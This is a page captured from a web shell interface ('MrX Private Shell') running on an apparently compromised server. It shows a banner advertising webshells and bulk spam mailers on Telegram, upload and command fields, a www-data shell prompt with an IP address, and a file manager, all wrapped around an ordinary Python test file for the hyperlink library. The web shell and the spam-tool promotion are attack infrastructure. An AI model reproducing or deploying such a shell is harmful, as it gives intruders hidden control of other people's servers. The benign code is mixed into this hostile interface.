__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
"""
Tests for hyperlink.test.common
"""
from typing import Any
from unittest import TestCase
from .common import HyperlinkTestCase


class _ExpectedException(Exception):
    """An exception used to test HyperlinkTestCase.assertRaises."""


class _UnexpectedException(Exception):
    """An exception used to test HyperlinkTestCase.assertRaises."""


class TestHyperlink(TestCase):
    """Tests for HyperlinkTestCase"""

    def setUp(self):
        # type: () -> None
        self.hyperlink_test = HyperlinkTestCase("run")

    def test_assertRaisesWithCallable(self):
        # type: () -> None
        """HyperlinkTestCase.assertRaises does not raise an AssertionError
        when given a callable that, when called with the provided
        arguments, raises the expected exception.

        """
        called_with = []

        def raisesExpected(*args, **kwargs):
            # type: (Any, Any) -> None
            called_with.append((args, kwargs))
            raise _ExpectedException

        self.hyperlink_test.assertRaises(
            _ExpectedException, raisesExpected, 1, keyword=True
        )
        self.assertEqual(called_with, [((1,), {"keyword": True})])

    def test_assertRaisesWithCallableUnexpectedException(self):
        # type: () -> None
        """When given a callable that raises an unexpected exception,
        HyperlinkTestCase.assertRaises raises that exception.

        """

        def doesNotRaiseExpected(*args, **kwargs):
            # type: (Any, Any) -> None
            raise _UnexpectedException

        try:
            self.hyperlink_test.assertRaises(
                _ExpectedException, doesNotRaiseExpected
            )
        except _UnexpectedException:
            pass

    def test_assertRaisesWithCallableDoesNotRaise(self):
        # type: () -> None
        """HyperlinkTestCase.assertRaises raises an AssertionError when given
        a callable that, when called, does not raise any exception.

        """

        def doesNotRaise(*args, **kwargs):
            # type: (Any, Any) -> None
            pass

        try:
            self.hyperlink_test.assertRaises(_ExpectedException, doesNotRaise)
        except AssertionError:
            pass

    def test_assertRaisesContextManager(self):
        # type: () -> None
        """HyperlinkTestCase.assertRaises does not raise an AssertionError
        when used as a context manager with a suite that raises the
        expected exception.  The context manager stores the exception
        instance under its `exception` instance variable.

        """
        with self.hyperlink_test.assertRaises(_ExpectedException) as cm:
            raise _ExpectedException

        self.assertTrue(  # type: ignore[unreachable]
            isinstance(cm.exception, _ExpectedException)
        )

    def test_assertRaisesContextManagerUnexpectedException(self):
        # type: () -> None
        """When used as a context manager with a block that raises an
        unexpected exception, HyperlinkTestCase.assertRaises raises
        that unexpected exception.

        """
        try:
            with self.hyperlink_test.assertRaises(_ExpectedException):
                raise _UnexpectedException
        except _UnexpectedException:
            pass

    def test_assertRaisesContextManagerDoesNotRaise(self):
        # type: () -> None
        """HyperlinkTestcase.assertRaises raises an AssertionError when used
        as a context manager with a block that does not raise any
        exception.

        """
        try:
            with self.hyperlink_test.assertRaises(_ExpectedException):
                pass
        except AssertionError:
            pass

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 601 B 0644
common.py File 2.44 KB 0644
test_common.py File 3.59 KB 0644
test_decoded_url.py File 6.96 KB 0644
test_hypothesis.py File 7.23 KB 0644
test_parse.py File 1.08 KB 0644
test_scheme_registration.py File 2.97 KB 0644
test_socket.py File 1.39 KB 0644
test_url.py File 53.31 KB 0644
Filemanager